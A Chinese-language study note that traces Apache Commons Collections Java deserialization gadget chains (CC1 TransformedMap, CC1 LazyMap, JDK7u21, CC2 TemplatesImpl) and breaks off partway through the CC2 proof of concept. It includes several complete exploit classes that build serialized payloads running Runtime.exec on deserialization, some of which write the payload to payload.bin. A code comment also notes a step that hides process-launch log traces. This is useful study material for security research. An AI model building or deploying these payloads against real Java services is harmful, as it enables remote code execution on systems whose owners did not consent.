CommonsCollections逐步分析

从零开始记录CC链的构造

CommonsCollections

对于 InvokerTransformer 的理解

参考:

  1. https://xz.aliyun.com/t/7031#toc-4
  2. https://xz.aliyun.com/t/4711#toc-3
  3. https://mp.weixin.qq.com/s/gZbcdS0TbAetZwVMyjkGWQ

以 Transformer[] 作为接口的类, Transformer 定义了 transform 方法

public Object transform(Object input)

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)

public ChainedTransformer(Transformer[] transformers)

看到 InvokerTransformer 中的 transform 方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class

我们无法用 Runtime.class 去凭空得到 Runtime 类从而找到 exec, 只能通过反射机制调用反射机制获取到 getRuntime 方法

    Object a = Runtime.getRuntime();
    Class b = Runtime.class;
    System.out.println(a.getClass());//class java.lang.Runtime
    System.out.println(b.getClass());//class java.lang.Class

我们的最终目的是执行 Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")

反射中所使用的方法

@CallerSensitive public Method getMethod(String paramString, Class<?>... paramVarArgs)

public Object invoke(Object paramObject, Object... paramVarArgs)

public Process exec(String command)

先来获取getRuntime类

//目标语句
Class.forName("java.lang.Runtime").getMethod("getRuntime")
//使用java.lang.Class开头
Class.forName("java.lang.Class").getMethod("getMethod", new Class[] {String.class, Class[].class })
        .invoke(Class.forName("java.lang.Runtime"),"getRuntime",new Class[0]);
        //invoke函数的第一个参数是Runtime类,我们需要在Runtime类中去执行getMethod,获取getRuntime参数

对照着InvokerTransformer类转变为transformers格式

Class cls = input.getClass();//cls = java.lang.Class
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //getMethod方法
return method.invoke(input, this.iArgs); //在Runtime中找getRuntime方法,并返回这个方法
Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
       //还需要填充 调用getRuntime得到Runtime实例,
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"})
};

还差执行获取到的getRuntime,下一个input是上一个执行接口,继续对照

//input=getRuntime这个方法
Class cls = input.getClass();//cls = java.lang.Method(getRuntime方法是method类)
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //在method类中找到invoke方法,method=invoke方法
return method.invoke(input, this.iArgs); //调用invoke方法,input=getRuntime这个方法,传入自定义的参数

以上最后一步有点复杂,method就是invoke方法,相当于使用invoke调用了invoke函数。 首先this.iMethodName, this.iParamTypes是根据invoke接口而定的:

public Object invoke(Object obj, Object... args)
//this.iMethodName="invoke"
//this.iParamTypes=new Class[] {Object.class, Object[].class }
//外面class、Object封装是InvokerTransformer类的构造函数要求

按照invoke中的input才是它要调用的环境的准则。 invoke方法.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs), 而input=getRuntime方法,那么只要填入this.iArgs就好了

又由于getRuntime是个静态函数,不用太纠结输入obj,写作null。getRuntime方法不需要参数。 this.iArgs=null,new Object[0]

整合如下:

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
        };

CC1_TransformedMap

适用版本:3.1-3.2.1,jdk1.8以前

关于类 AnnotationInvocationHandlerthis.type 赋值问题

网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素。而注解类方法返回类型将是 clazz 的值。

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC1_TransformedMap {
    public static void main(String[] args) throws Exception {
        //1. 客户端构建攻击代码
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            //隐蔽了启动进程的日志特征
            new ConstantTransformer(1)
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        //创建Map并绑定chainedTransformer
        Map innerMap = new HashMap();
        innerMap.put("value", "key");
        //给予Map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        //在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler
        //反射机制调用AnnotationInvocationHandler类的构造函数
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        //取消构造函数修饰符限制
        constructor.setAccessible(true);
        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);
        //获取AnnotationInvocationHandler类实例 Target, Retention (接口中有value方法规则影响var4的赋值)
//        Object cc1 = constructor.newInstance(Target.class, outerMap);
        Object cc1 = constructor.newInstance(Retention.class, outerMap);

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(cc1);
        oos.close();
        System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

        // 写文件写法
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(cc1);
        objectOutputStream.flush();
        objectOutputStream.close();
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();

        // Map转换链触发测试
//        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
//        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
//        objectOutputStream.writeObject(outerMap);
//        FileInputStream fileInputStream = new FileInputStream("payload.bin");
//        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
//        Map outerMap_now = (Map) objectInputStream.readObject();
        //2.1 可以直接map添加新值,触发漏洞
//        outerMap_now.put("ricky", "test");
        //2.2 也可以获取map键值对,修改value,value为value,foobar,触发漏洞
//        Map.Entry onlyElement = (Map.Entry)outerMap_now.entrySet().iterator().next();
//        onlyElement.setValue("ricky");
    }
}

CC1_LazyMap

适用版本:3.1-3.2.1,jdk1.8以前

LazyMap调用

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        //此处触发transform方法
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Proxy动态代理

{@code InvocationHandler} is the interface implemented by
the <i>invocation handler</i> of a proxy instance.

<p>Each proxy instance has an associated invocation handler.
When a method is invoked on a proxy instance, the method
invocation is encoded and dispatched to the {@code invoke}
method of its invocation handler.

每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用

定义方式

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

POC

package CommonsCollections;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1_LazyMap {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
            new ConstantTransformer(1)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        // CommonsCollections 4.0, LazyMap 不存在 decorate 方法
        // Map lazyMap = LazyMap.lazyMap(innerMap,transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
        Map ProxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);
        Object cc1 = constructor.newInstance(Retention.class, ProxyMap);

        // 字节调用写法
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(cc1);
        oos.close();
        System.out.println(Base64.encodeBase64String(barr.toByteArray()));
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

        // 写文件写法
        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(cc1);
        objectOutputStream.flush();
        objectOutputStream.close();
        FileInputStream fileInputStream = new FileInputStream("payload.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

利用TemplatesImpl加载字节码

JDK7u21的理解

参考:

_tfactory

看一个师傅的文章说是在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值。但是我在查询的时候并未看到getExternalExtensionsMap方法,而且在yso里面将设置_tfactory 值的代码给注释了一样能正常执行命令。

在其它师傅下找到的代码, 如果此处 return 如下所示则需要为 _tfactory 赋值

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    // setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
...

还有对于 _auxClasses 的赋值其实也没必要考虑, 注释掉一样可以命令执行.

动态代理机制

其次就是动态代理机制, 通过创建AnnotationInvocationHandler对象实例, Proxy代理触发Map中的方法进而调用AnnotationInvocationHandler中的invoke方法

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4);
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

invoke方法中,如果传入的方法名是equals而且方法的参数列表只有一个Object对象的时候,就可以进入equalsImpl()方法

if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

跟进equalsImpl()方法

    private Boolean equalsImpl(Object var1) {
        /*在这里可以看到获取到2个方法。在后面还可以看到一个for循环,然后会遍历var2的值。然后下面使用var8 = var5.invoke(var1);
反射去调用,这里传入的var1是TemplatesImpl的实例对象。*/
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        /*var8 = var5.invoke(var1); 语句,这里是通过反射调用 var1 对象的 var5 方法。跟踪一下getMemberMethods方法就知道*/
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

前两个if不用管,直接看else。通过getMemberMethods得到一个Method[]

    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;

然后进入for循环,遍历这个Method[],然后调用方法

if (var9 != null) {
    var8 = var9.memberValues.get(var6);

这里的Method[]只能是通过this.type来得到

Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
//在这里的this.type是templates对象,使用getDeclaredMethods反射获取方法

因为memberMethods属性是个瞬态属性不可控。

private transient volatile Method[] memberMethods = null;

总的来说可以利用的就是,得到this.type的所有Method[],然后依次调用所有。如果让this.type是TemplatesImpl的类的话,就自然会调用到newTransformer或者getOutputProperties。而invoke的那个参数var1也就是调用方法的对象了,所以var1需要是我们构造的恶意的TemplatesImpl对象

1641982599533

触发getOutputProperties方法后进而到newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

通过getTransletInstance方法进而执行静态块, 静态块执行的步骤参考CC2链的跟进

LinkedHashSet

jdk7u21主要的精华之处在于找equals和另一个hash值的构造

    public V put(K key, V value) {
        // key只要赋值就可以绕过此if
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            // 如果key赋值为TemplatesImpl对象,前面做了一个动态代理,这里调用key.equals就会触发到AnnotationInvocationHandler的invoke方法
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

计算hash值的流程可以简化为

        int hash = hash(key);
        int i = indexFor(hash, table.length);


        int h = 0;
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        h ^ (h >>> 7) ^ (h >>> 4);

        h & 15;

最后的return h & (length-1);h&15,是因为HashMap的默认length是16

    /**
     * The default initial capacity - MUST be a power of two.
     */
    static final int DEFAULT_INITIAL_CAPACITY = 16;

从整个流程来看,想控制hash的话,就是要让代理对象的hashCode()和TemplatesImpl对象的hashCode()相同。但是TemplatesImpl的hashCode()是个Native()方法,每次运行都会改变,所以不可控。

再想想代理对象的hashCode()。很明显也得经过invoke,进入hashCodeImpl

    // HashMap通过 k.hashCode 触发 AnnotationInvocationHandler 的invoke方法进而触发其hashCode
    else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } 
...
    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

简单来说就是遍历this.memberValues这个Map,把每次计算出来的127*(key的hash)^(value的hash) , 作者的思路:

memberValues这个Map只有一个键值对,让key的hash为0,这样127*0=0,然后0^xxx仍然是xxx(相同为0,不同为1)。再让value是恶意的TemplatesImpl对象,这样计算的就是那个TemplatesImpl对象的hash值,自然就相同了

至于hash为0的键,通过爆破找到的是f5a5a608

public static void bruteHashCode() { 
    for (long i = 0; i < 9999999999L; i++) { 
        if (Long.toHexString(i).hashCode() == 0) { 
            System.out.println(Long.toHexString(i)); 
        } 
    } 
}

为什么使用LinkedHashSet?

  • LinkedHashSet 是 Set 的一个具体实现,其维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序,该迭代顺序可为插入顺序或是访问顺序。
  • LinkedHashSet 继承与 HashSet,并且其内部是通过 LinkedHashMap 来实现的。有点类似于我们之前说的LinkedHashMap 其内部是基于 Hashmap 实现一样,不过还是有一点点区别的(具体的区别大家可以自己去思考一下)。 如果我们需要迭代的顺序为插入顺序或者访问顺序,那么 LinkedHashSet 是需要你首先考虑的。

因此利用LinkedHashSet就可以实现次序可控。

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;

public class jdk7u21_self {
    public static void main(String[] args) throws Exception{
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Evil
        CtClass ctClass = classPool.makeClass("Evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"%s\");";
        cmd = String.format(cmd, "calc.exe");
        // 给这个类创建 static 代码块,并插入到类中
        ctClass.makeClassInitializer().insertBefore(cmd);
        String className = "Evil" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        ctClass.setName(className);
        // 给这个类添加一个父类,即继承该父类。
        ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
//        ctClass.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = ctClass.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = new TemplatesImpl();

        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
//        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor handlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
        setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

//        setFieldValue(templates, "_auxClasses", null);
        setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(set);//序列化对象
        objectOutputStream.flush();
        objectOutputStream.close();
        byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

CC2_TemplatesImpl

适用版本:commons-collections-4.0, jdk7u21及以前

参考: https://blog.csdn.net/qq_41918771/article/details/117194343

最终序列化为PriorityQueue类, 从其readObject开始

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

queue值和size值被我们改过, 所以for循环那一块的size值为2, for循环结束后跟进heapify方法

    private void heapify() {
        // 这一块size为2即10,右移减一等于0即可进入for循环
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

继续跟进siftDown方法

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

设置了comparator的值, 跟进if语句中的siftDownUsingComparator方法

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

关键代码在 comparator.compare, 这里的comparator是TransformingComparator实例化的对象,而变量x是queue[0],因为在heapify函数中是依次循环的,而queue[0]是exp中的templates

1641890092291

进入compare方法就到了熟悉的嵌套调用环节, this.transformer赋值为InvokerTransformer, 所以调用到其transform方法

1641890155680

跟进InvokerTransformer类的transform方法

1641890313468

这里的各个变量赋值详细说明一下:

  • input: TemplatesImpl类
  • cls: 获取到TemplatesImpl对象
  • iMethodName: newTransformer方法
  • iParamTypes: null

跟进TemplatesImpl中的newTransformer方法

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

跟进getTransletInstance方法

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            // 设置_name属性绕过该if语句
            if (_name == null) return null;
            // 设置_class为null进入defineTransletClasses方法
            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

跟进 defineTransletClasses 方法

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        //存在_bytecodes绕过此if语句
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                /*此处调用
                Class defineClass(final byte[] b) {return defineClass(null, b, 0, b.length);}
                defineClass类加载器可以将一个字节码进行动态加载
                */
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                // 判断父类是否是ABSTRACT_TRANSLET
                /* 其类中定义为 
                private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                */
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

赋值给_transletIndex后,_class[_transletIndex].newInstance();才会执行我们恶意的static代码块

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
// JVM在加载类时在main方法之前执行静态块
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2_Templat {
    public static void main(String[] args) throws Exception{
        // 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
        Class clazz = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer");
        Constructor constructor = clazz.getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer invokerTransformer = (InvokerTransformer) constructor.newInstance("newTransformer");
        // 实例化一个TransformingComparator对象,并且传入了invokerTransformer,需要注意TransformingComparator中的compare方法
        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
        // 实例化PriorityQueue对象
        PriorityQueue priorityQueue = new PriorityQueue(1);
        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool classPool = ClassPool.getDefault();
